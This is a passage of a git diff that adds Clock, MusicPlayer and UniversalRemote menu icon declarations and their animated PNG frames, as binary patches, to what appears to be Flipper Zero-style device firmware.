{.width=22,.height=21,.frame_count=1,.frame_rate=0,.frames=_I_Medium_chip_22x21}; diff --git a/assets/compiled/assets_icons.h b/assets/compiled/assets_icons.h index 12ddb78e9..94de03f1b 100644 --- a/assets/compiled/assets_icons.h +++ b/assets/compiled/assets_icons.h @@ -95,11 +95,13 @@ extern const Icon I_KeySave_24x11; extern const Icon A_125khz_14; extern const Icon A_BadUsb_14; extern const Icon A_Bluetooth_14; +extern const Icon A_Clock_14; extern const Icon A_Debug_14; extern const Icon A_FileManager_14; extern const Icon A_GPIO_14; extern const Icon A_Games_14; extern const Icon A_Infrared_14; +extern const Icon A_MusicPlayer_14; extern const Icon A_NFC_14; extern const Icon A_Passport_14; extern const Icon A_Plugins_14; @@ -108,6 +110,7 @@ extern const Icon A_Settings_14; extern const Icon A_Sub1ghz_14; extern const Icon A_Tamagotchi_14; extern const Icon A_U2F_14; +extern const Icon A_UniversalRemote_14; extern const Icon A_iButton_14; extern const Icon I_Detailed_chip_17x13; extern const Icon I_Medium_chip_22x21; diff --git a/assets/icons/MainMenu/Clock_14/frame_01.png b/assets/icons/MainMenu/Clock_14/frame_01.png new file mode 100644 index 0000000000000000000000000000000000000000..80193281a8efa10211f74f30bdfe71760d8ac7bd GIT binary patch literal 173 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R}>7Fi*AsQ2V zgBUv5vMm7l2NEDaAMDTX6QCb+n`_-+(hS!Z?m*mCb%uim8i2fokS z*O~RI+kfG2*6fm(msXU$sFdEl@b4#ZGWG-Ll VF6l4kcM51FgQu&X%Q~loCIF8|LCF9B literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/Clock_14/frame_02.png b/assets/icons/MainMenu/Clock_14/frame_02.png new file mode 100644 index 0000000000000000000000000000000000000000..7eb0f8bef9a8c3ba711ad05678ed93619db2647c GIT binary patch literal 176 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R}S)MMAAsQ1~ zCwcQR7;-o*eEE0%nKjEchFzKa;8wAZN3-lF zx%Yo~w`!73`98O`R+cMRtzR&%mYwV8IqO&#>p9ujt0%WF-j)92t!4Y~t83m%oSAF& ZgSorMOKw&Y+YO+t44$rjF6*2UngE+`LplHe literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/Clock_14/frame_03.png b/assets/icons/MainMenu/Clock_14/frame_03.png new file mode 100644 index 0000000000000000000000000000000000000000..5d4e6243ba7c2ca17645f6ea2484bd3255b8bf68 GIT binary patch literal 175 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R}nVv3=AsQ1~ zgB{=ff>U+$WTFMV4Ug?R~iO>pUVV`NBC_g}J7&Tq@ZhjX^sXjz;M|ESgH zHRD-vMW4?b?#)im>mFs6&i;5%rSr+F0=XUkU&P%ly1mM}P569~%FXDv71xr=e+k#e XWqV1zn{O5ew3NZq)z4*}Q$iB}Fn~hf literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/Clock_14/frame_04.png b/assets/icons/MainMenu/Clock_14/frame_04.png new file mode 100644 index 0000000000000000000000000000000000000000..8578a5a730f9dc74c02f396a5654d7d1b1bdb92d GIT binary patch literal 175 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R}nVv3=AsQ1~ zgB|a?bm8SoDf`81q%P>KuVaI)$KYNqCZWq{O{o=`&Wqs)+Q@_P>a^5p` YrQ2RIB8i4+KuZ}sUHx3vIVCg!0ARa8LI3~& literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/Clock_14/frame_05.png b/assets/icons/MainMenu/Clock_14/frame_05.png new file mode 100644 index 0000000000000000000000000000000000000000..9c50fe469ad9e07cc06c2bae4babc0ed0048bc41 GIT binary patch literal 172 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R}X`U{QAsQ1~ zgB1r35 Us7J3i0c~XPboFyt=akR{0Iy^|*Z=?k literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/Clock_14/frame_06.png b/assets/icons/MainMenu/Clock_14/frame_06.png new file mode 100644 index 0000000000000000000000000000000000000000..4fe0f2c6394cefc5c4bdafc8782253302a6b183c GIT binary patch literal 175 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R}nVv3=AsQ2V zgB-aS963(S_+Nk1R<|SjY}I8EZYIxZ3=WoOf=Y9+it1RTvsBADx`>D%@!A4=>O4yXMUKR($X5 z)27V*N9KR|_3c8&og;nOSFZPot9z>a_bQ6D+`06NRo|?>hwZP6RgOl#{qr%+|JE7# YzF;q@&)e7D1zO7B>FVdQ&MBb@0PfdEMF0Q* literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/Clock_14/frame_08.png b/assets/icons/MainMenu/Clock_14/frame_08.png new file mode 100644 index 0000000000000000000000000000000000000000..baffdaa70bcc93bac709b77afe0b3a45ba1af6f9 GIT binary patch literal 178 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R}Ii4<#AsQ1~ zgBc_F2*zpL_+6TyIY&%}Fn=sxUNMJ~}z$Rl9L+&5k9!?y8=B)@tEr z16e02yfpH!K7Mr1AUu&AA%^FWOhOCs50FIeE`OG&JyjmqyrpT~qm$&bg5A(zJ wp80;@H&bzv7-z&u*7M&MiHhZ)dH08@qFGGl!}2qhK%*HvUHx3vIVCg!0Pt}!$p8QV literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/MusicPlayer_14/frame_1.png b/assets/icons/MainMenu/MusicPlayer_14/frame_1.png new file mode 100644 index 0000000000000000000000000000000000000000..781d353be4cdab914805fa514fd4806c765034ab GIT binary patch literal 148 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R}ex5FlAsQ3+ zPO|1>P~dPrTJc}|`pG4R5!%hM5)VG|Gi09mmHs7ZGJwL9{jSp o_4=Xa2hERZf8Y1-{<^b#(o5V-6A)a6qhMgDcf?5ylr;WQ~@O4)^K4W-fyjYIEN$nA5Q)G_U?TGfyL rmTjgpg=IQJw14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD-F@2(Wt#qtYOxn1c`=+>W)9>T8Sv76t0@EFj@bBU==g} z#k-p;nsnwJIO(`us6>?gXponqfkq8qVa>GfXPZ8Yg|OP5`L6#%zP9v_X1w#a-^-JK zS{~Zx*0(Az^YyC7g{GcMPQL2cac-KRpy277rbR1l7}||a&YUNEg-!1n$^K^oaDR8A6{26`zZuLQCH&4rH({emZfX>w~ag8WR&d<$F z%`0JW_jFSzN-fT;N=;G7&r`@KDJdwn($`O|O3zHw11i#oNIocd1q>1fRgl({#FA92 zCk1w@};-9yoko1c=IR*74K_qw1Ypaup{ LS3j3^P614Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD-F@2(Wt#qtYOxn1c`=+>W)9>T8Sv76t0@EFj@bBU==g} z#k-p;nsnwJIO(`us6>?gXponqfkq8qVa>GfXPZ8Yg|OP5`L6#%zP9v_X1w#a-^-JK zS{~Zx*0(Az^YyC7g{GcMPQL2cac-KRpy277rbR1l7}||a&YUNEg-!1n$^K^oaDR8A6{26`zZuLQCH&4rH({emZfX-Ddag8WRNi0dV zN-jzTQVd20Mn<{@rn-hEAqJ*a#>Q5rrrHJuRzURm)jbpqx%nxXX_dG&c&`ge0%~CJ MboFyt=akR{00vu%od5s; literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/UniversalRemote_14/frame_02_delay-0.04s.png b/assets/icons/MainMenu/UniversalRemote_14/frame_02_delay-0.04s.png new file mode 100644 index 0000000000000000000000000000000000000000..479fbd58b591c8277f06ec1225ee29ee095c8564 GIT binary patch literal 411 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD-F@2(Wt#qtYOxn1c`=+>W)9>T8Sv76t0@EFj@bBU==g} z#k-p;nsnwJIO(`us6>?gXponqfkq8qVa>GfXPZ8Yg|OP5`L6#%zP9v_X1w#a-^-JK zS{~Zx*0(Az^YyC7g{GcMPQL2cac-KRpy277rbR1l7}||a&YUNEg-!1n$^K^oaDR8A6{26`zZuLQCH&4rH({emZfX-Ddag8WRNi0dV zN-jzTQVd20Mn<{@rn-hEAqJ*a#>Q5rrrHJuRzURm)jbpqx%nxXX_dG&c&`ge0%~CJ MboFyt=akR{00vu%od5s; literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/UniversalRemote_14/frame_03_delay-0.04s.png b/assets/icons/MainMenu/UniversalRemote_14/frame_03_delay-0.04s.png new file mode 100644 index 0000000000000000000000000000000000000000..1ece97a6f2ea99c186f3abaf446df51e4131a8ed GIT binary patch literal 411 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x@y*we)^gyXvDxs6^ zX1}o7BUm1N#M;7y%TXZdv!qIUvy78f{Net`#(VSiE#6u$DLTO$_B-0-X?9wz`5}MZ z;y*?G?|Frm&7SrxcUI*ZId-0TtCW?d-R|hKdAa7?@fa8(W#0Y8x0>0nz7I_fRzC=BH$)RpQp*y)GyTsDZ)L L)z4*}Q$iB}Q}~Lk literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/UniversalRemote_14/frame_04_delay-0.04s.png b/assets/icons/MainMenu/UniversalRemote_14/frame_04_delay-0.04s.png new file mode 100644 index 0000000000000000000000000000000000000000..d85fa6ebca3cf45527524850e696081f1aadb738 GIT binary patch literal 401 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x?H)6>N`%O z`W>G#!(83(tc_vbs!5w}xfq3Ityp_PqK$8tfy&~l_yb8%ORsc080_lbw%+>5?ej+} z_WW7lyr*9M`Gn^WZ5-dbl`}kUs(<6Cx9{TC?`A+ps+PD$l%ynG literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/UniversalRemote_14/frame_05_delay-0.04s.png b/assets/icons/MainMenu/UniversalRemote_14/frame_05_delay-0.04s.png new file mode 100644 index 0000000000000000000000000000000000000000..1f5ff11cbc23d74343a5b6a6ad1dc61b9d44f0e3 GIT binary patch literal 397 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x?H)zif>gyXtyzadw%0|SdY@A86qt*!O}0-w0Fop=2)T@w7q znTu0nlACX0X{Je1*Y2VjvC~TV9&BcgW17?8uG*Mi$S9s+F3D1qy*6}vaYx-g1GDTj z#b;`pU$k33S(sn2*1KU-+(FibVhygG!g^Y~yR>q)ce_hGKF7!F_y5`Pgo(*Ji)}YN z4Dk;%c_~tGhPD5$cZ0o+pMK_3ZMH(716500BT7;dOH!?pi&B9UgOP!ek*w=Pi8W=oX{an^LB{Ts5*Ts1t literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/UniversalRemote_14/frame_06_delay-0.04s.png b/assets/icons/MainMenu/UniversalRemote_14/frame_06_delay-0.04s.png new file mode 100644 index 0000000000000000000000000000000000000000..8fbf8625c14e9522cbcf2bbaf5a9c59a43c2ae08 GIT binary patch literal 400 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x?H!_&nvgyXtyzdm=f1B3hgjr%1Lpc_?7Tq814Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x?H$J50zgyXvH`TeUM3mF_f_UqqW{Z8psp3jt|FX|ia>_0qz z#r6rVGw&x=Xm+}uI`Q^Yzj=(Lf4aroQ_|DbSLt5aFhhNZ-!Yb)PZnK|YCdm#Tliiz z=l_&#JG)PGw}~w&oahjAWaR>DTe$}XbIMq)ZpyxkT+Z`% zS7Lrh(npK`C)RECFP|`9syEoq;puLLqxM!Udb;y1?RtRjR4s9hC`m~yNwrEYN(E93 zMg~Skx(24Yh9)5frdGzrR;H%f1_o9@^!e326b-rgDVb@NxHWjM3rYfNVDNPHb6Mw< G&;$TK5sjVz literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/UniversalRemote_14/frame_08_delay-0.04s.png b/assets/icons/MainMenu/UniversalRemote_14/frame_08_delay-0.04s.png new file mode 100644 index 0000000000000000000000000000000000000000..f3724bbde1a247fc66caf5a56bf8b2facbd30303 GIT binary patch literal 414 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x@y%+tj&gyXvISw+640GR_1=ljPMMcixK%siJl!}OJ>4P*F2 z3AWkF2HeKVjBbUOHy)gE)cmKkLEX#QoHw3}�D?c`#+yfep4kI+1-V7N$JPl8^fG z_t*08ZijC(i_}h%W|*vQyQ;6(o~dVFXZBMzUMYvmEbEMpugKUqZCghlo1mxmNu!lP zf`tvyq4hgV?xuC+9G@AR&dAzwID2CSucCqQ27ZQXQgz$DIQc)X5|swJShd78q9i4; zB-JXpC>2OC7#SED=^B{o8k&R{m|7VdTbY__8yHvt(dSq9P&DM`r(~v8;@053E+`48 Ofx*+&&t;ucLK6U|y@bmE literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/UniversalRemote_14/frame_09_delay-0.04s.png b/assets/icons/MainMenu/UniversalRemote_14/frame_09_delay-0.04s.png new file mode 100644 index 0000000000000000000000000000000000000000..ff34450d944f74517bd986e51df5c6c683462183 GIT binary patch literal 427 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x@y+0(@_gyXvISwpYG0SpWmrauwZaa-FVd!$3xs;sD3tKaWt|zHpXfhvfE;SNCUFZeA&Ec%_TRt6bt-1zFmJ+ z)RcX1gQK0omPAixH{#i)<&;glJzGZ z8kMb+TfP?PeAN=yh?11Vl2ohYqEsNoU}Ruqq-$WRYiJT;U}|M-Y-MVyZD3#pM4w;X eL(!0%pOTqYiCcsBx}YSW1_n=8KbLh*2~7Yaw3eL! literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/UniversalRemote_14/frame_10_delay-0.04s.png b/assets/icons/MainMenu/UniversalRemote_14/frame_10_delay-0.04s.png new file mode 100644 index 0000000000000000000000000000000000000000..2b61340cba323b443891bfc2d1a29d61f781c469 GIT binary patch literal 427 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x@y+0(@_gyXvId3$cgLYan-&(FPo@kf1n&=j3b5jS$;Is@I_ zyJ^NX98Fkorb|UK=U?vef+@o5_O%(;ZF_!^C9j&{lw`nx4>ICg+!wySd~TWJO|ym$ z9~nWxbR8wDm>6M&k2f36ZTkL+;m(T;#|1`j*LWK~u*&~>xay*fYZJqgbIX>#I_h|- zpmB+5_H&bicdNJ;d|ZH#L1(v+uUO_QmvAUQh^kMk%5tsu7Rnpp-G5=sg<#@m8q$=fq@keeSUQh eMMG|WN@iLmZVle+f|7t57(8A5T-G@yGywp`fS8s5 literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/UniversalRemote_14/frame_11_delay-0.04s.png b/assets/icons/MainMenu/UniversalRemote_14/frame_11_delay-0.04s.png new file mode 100644 index 0000000000000000000000000000000000000000..9420c763fffc590092d0d55b554f30feeceb6cd8 GIT binary patch literal 426 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x@y$*;`j_m2`=xLvC`eLVAarIT5gpD*Z)hk@=M~ldAUB-)a1K z_oN?}{N<^Feb1z;gADFOoz>kR?|=JPO4uFiKWn$XDHpEX?!fg*UACUj>mOqvyOZ9L zBT1D&*Q=JeMwFx^mZVxG7o`Fz1|tI_BV7YiT|<))15+zwV=GfrZ36=14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x@y-P6S}gyXvEIYaH1LK%h!&;P%F7w7uw(pRaJz)3n{_YXc2 zzQMEUw~^aZ<`Yw&uH#W-lhojBE;(BLuB&9?AD;I=a{RegS#P+su<`Ko$Qqq@*VjCI z?o_p2L21|Gj*dWcC8Om#dEc%~-t_Nl0ng)y&hd8d-|qEI__XQr?h~noCmiHNQoDXH zzIs-y?%cX<(}Q=&PF25AH8*m4Q}fc7Z{EKy+@5DsD>mJ1pSG#^tj@5_4qU6GdG}wl z`ok>r$H{H-rWJNTFQ}HdMwFx^mZVxG7o`Fz1|tI_BV7YiT|<))15+zwV=GfrZ36=< jAo~339*TzC{FKbJO57T}*99d3H86O(`njxgN@xNAcITV8 literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/UniversalRemote_14/frame_13_delay-0.04s.png b/assets/icons/MainMenu/UniversalRemote_14/frame_13_delay-0.04s.png new file mode 100644 index 0000000000000000000000000000000000000000..e9527fa833491eff3316cd410a901508344f1179 GIT binary patch literal 424 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x@y!PCVtgyXvExrJWLg)$5e-q-K478E>YXwcD-nITfczWM0B z2i!l5y3M+i&u*}7EC`I;wcz0)d3}p!qbKPRe{M~0+Qal%aCb$8{gLY@|4#e4g72lV zv&)&^9UXOYf~=d1I1U%NC0;C(EV`~Ia<=GFe!^w{X}*Esu}neXS2gd+9lu`vqcZO9 zyyX|x_|JFR_4CI5DNQeLGVZ&*J9lwxxc<7j&AR>UokanPtUs^z*^4XxV^n$V14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x@y!PCVtgyXvExrJWLg)$5e-q-K478E>YXwcD-nITfczWM0B z2i!l5y3M+i&u*}7EC`I;wcz0)d3}p!qbKPRe{M~0+Qal%aCb$8{gLY@|4#e4g72lV zv&)&^9UXOYf~=d1I1U%NC0;C(EV`~Ia<=GFe!^w{X}*Esu}neXS2gd+9lu`vqcZO9 zyyX|x_|JFR_4CI5DNQeLGVZ&*J9lwxxc<7j&AR>UokanPtUs^z*^4XxV^n$V14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x@y!PCVtgyXvExrJWLg)$5e-q-K478E>YXwcD-nITfczWM0B z2i!l5y3M+i&u*}7EC`I;wcz0)d3}p!qbKPRe{M~0+Qal%aCb$8{gLY@|4#e4g72lV zv&)&^9UXOYf~=d1I1U%NC0;C(EV`~Ia<=GFe!^w{X}*Esu}neXS2gd+9lu`vqcZO9 zyyX|x_|JFR_4CI5DNQeLGVZ&*J9lwxxc<7j&AR>UokanPtUs^z*^4XxV^n$V14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x@y!PCVtgyXvExrJWLg)$5e-q-K478E>YXwcD-nITfczWM0B z2i!l5y3M+i&u*}7EC`I;wcz0)d3}p!qbKPRe{M~0+Qal%aCb$8{gLY@|4#e4g72lV zv&)&^9UXOYf~=d1I1U%NC0;C(EV`~Ia<=GFe!^w{X}*Esu}neXS2gd+9lu`vqcZO9 zyyX|x_|JFR_4CI5DNQeLGVZ&*J9lwxxc<7j&AR>UokanPtUs^z*^4XxV^n$V14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x@y$YVmxV$pEMJR$-=0RQDmEJEGEez`JuDH25=U{}d1EyNU3=Kf%IJ?Y|` z8Q3lcbiHbcYeY#(Vo9o1a#1RfVlXl=GSW3L)ipE;F)+0cptHiCrdtFcxPy>UftDnm{r-UW|_-&5! literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/UniversalRemote_14/frame_18_delay-0.04s.png b/assets/icons/MainMenu/UniversalRemote_14/frame_18_delay-0.04s.png new file mode 100644 index 0000000000000000000000000000000000000000..2109273f0538a073ab31357ea73ca5d6ef928442 GIT binary patch literal 418 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x@y%G1R$gyXvE*@a%ri3|)6-v8hDPlrb)T@IPZ3eYKokH`;F`Tf204uo4&4o)<4s-CmB5xGVNXGem-K)sAc8lE8^e}bhT=U zYeY#(Vo9o1a#1RfVlXl=GSW3L)ipE;F)+0cptHiCr TdtFcxPy>UftDnm{r-UW|SWb=} literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/UniversalRemote_14/frame_19_delay-0.04s.png b/assets/icons/MainMenu/UniversalRemote_14/frame_19_delay-0.04s.png new file mode 100644 index 0000000000000000000000000000000000000000..0c7e9eaa9acfc11c5ba98495c64feb772ce07b6b GIT binary patch literal 419 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x@y+SA1`gyVYX`Hfsn4h#(s|MyKkFe^%?g-v|vx2(=%w-zmb zF|&#({=mX*3zjajJmSg1&Z>N(&H1I&9I5{=AB(fiS`@nF)J6x!i)fnra&uSOL-JSNBjf;M1& literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/UniversalRemote_14/frame_20_delay-0.04s.png b/assets/icons/MainMenu/UniversalRemote_14/frame_20_delay-0.04s.png new file mode 100644 index 0000000000000000000000000000000000000000..4c283af6cc3dd76ef888f62b770519219a2d79d2 GIT binary patch literal 425 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x@y(bL5-gyXtypCLD6B7?*IxsN?wc6q!sk~os2$QBu)`>(0~ zLHXSxH#OCygu+0tSFgG^Y1E#oJy&q=SKIe30u>qx(^z>D%>0?x|6?dQFgZ;r(d&Ia z_ugCLcdePCPH1JQHGaSLV!>m*BfJmP#Pl|P%G`ANDdT^uGQC}ES?XIhZT;}TyM(P^jg7!02l4F2+--9u6g;Q}?C*+$5EIK(@i=1M}oG>y=+$ zUJ3;|UbVzEq9i4;B-JXpC>2OC7#SED=^B{o8k&R{m|7VdTbY__8yHvt(dSq9P&DM` ar(~v8;@053E+`48fx*+&&t;ucLK6UXX_27- literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/UniversalRemote_14/frame_21_delay-0.04s.png b/assets/icons/MainMenu/UniversalRemote_14/frame_21_delay-0.04s.png new file mode 100644 index 0000000000000000000000000000000000000000..750aec1627b2bcb3a822647a39c185312a4276f8 GIT binary patch literal 415 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x@y+|$J|gyXvIxs6;+0U`|#@1J&^(qYiFd#jb_Wc>>QzI#*k zFHABq`NGCq&d1WOAn;bLiQUh+*8hVm*A}K5JR1&tHDb2gtt)Y${l=||4-QKT;w>KB z%st@nK6ci!m7i@Tp4{kVNG=!QnR+I>p-NAbP27V)sOfNk*jXvTYrcU^uS%r9)LeUL zw$hF3YPRX5Jz>A^zf%0z>HPcI_EXNAW6Tu)ug^HDWX8O2x{C8O)?mIIpp#WgTq814Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x?H*VDx@gyXvIxxHD30vH-DKK8xB9Tc-g_6}=$yn_|%uRTue zFQrAo+w+vFrYigsQ8Bryc<%m(xz}XdrEUsX+U>9UQLE1p5xVhq?^Uj~*7w)v|986O zKYLeXdD5FT<{WRP3D3|eXAxU0^XX#Kfd|*xzU4Y3gykhhpW`_4Xw9lQ-8T&Srng)^ z9sKoi{=3CKXHWc?_3LkmtbHh7>9TWe6$~!5#&P9~w%i0dRJFu4q9i4;B-JXpC>2OC z7#SED=^B{o8k&R{m|7VdTbY__8yHvt(dSq9P&DM`r(~v8;@053E+`48fx*+&&t;uc GLK6TW7K_OM literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/UniversalRemote_14/frame_23_delay-0.04s.png b/assets/icons/MainMenu/UniversalRemote_14/frame_23_delay-0.04s.png new file mode 100644 index 0000000000000000000000000000000000000000..17007aad5b72394efd0dc44c1695aa84df0dbba8 GIT binary patch literal 394 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x?H$RT|6Y<(mnr^A%=$9Fa`m*%uN!`D-e>!} zB&zh{QtgRLxescKOyrM!rQKXPsvQH#I3=5T~HEG1B0ilpUXO@geCx6DTF`( literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/UniversalRemote_14/frame_24_delay-0.04s.png b/assets/icons/MainMenu/UniversalRemote_14/frame_24_delay-0.04s.png new file mode 100644 index 0000000000000000000000000000000000000000..4c03a8101928e3271e518ca78035200e788ad972 GIT binary patch literal 401 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x?H)6>Nq6`gxmuO$_jb>;+NNMOnR8l6h2;5yokve>Wxd+das69i$e*y^XWk!`dFlSFXuI3z zwuWB@1~RWYr&~>Y<(+mtC-HU(OVCZna5bi<&p3|z&b)o^z=HX1%a@;LuRq;C{mkv3 zukRMu&vsj_!BW_o^yJpP#no%l{xExO(qWTKIK2kwNYxV8h?11Vl2ohYqEsNoU}Ruq zq-$WRYiJT;U}|M-Y-MVyZD3#pM4w;XL(!0%pOTqYiCcsBx}YSW1_n=8KbLh*2~7a5 C2#f>( literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/UniversalRemote_14/frame_25_delay-0.04s.png b/assets/icons/MainMenu/UniversalRemote_14/frame_25_delay-0.04s.png new file mode 100644 index 0000000000000000000000000000000000000000..334498adcefb0195df99757781c744a567450337 GIT binary patch literal 401 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x?H)6>N54HEbeSUg?YOYrz7>ylu^-mseD<8D|KFNtYrh9~{>#rQTgEIC z-Z4?1tLv!3hBMJyK5csT)S&U?LnohUcOK45IkM%rcSPUqg}&TfTX+^w=Pi8W=oX{an^LB{Ts5 DS00MI literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/UniversalRemote_14/frame_26_delay-0.04s.png b/assets/icons/MainMenu/UniversalRemote_14/frame_26_delay-0.04s.png new file mode 100644 index 0000000000000000000000000000000000000000..b203dc30275055bbe87d8475ad1ffff70af7a57e GIT binary patch literal 404 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x?H$J50zgyXvIS;MSD2@DMvrzglTm1(G4RlVT5VRch;`v<+f z0s0AH=O1JVd&#z}n-=87@keWkv(dh%zZdnLW}lJX^WodqhW(GWKL7q^qwwE9uV&`Y zFVquE4&1io>7w)%(==ah;yUu?GH=c$Tf<6W1rtld*E#IFbM7uzyY8^VudT?`_UhM_ zE86lc>g3ksB|ZoiGV~L2k)2+yT&^$q|5>y?lk&ab2%tMvOI#yLQW8s2t&)pUffR$0 zfsv7}fvK*cNr-`|m9epvsj0SsffW#aesvE;LvDUbW?Cg~4c_a5l7Jc*JYD@<);T3K F0RT@yh=2e9 literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/UniversalRemote_14/frame_27_delay-0.04s.png 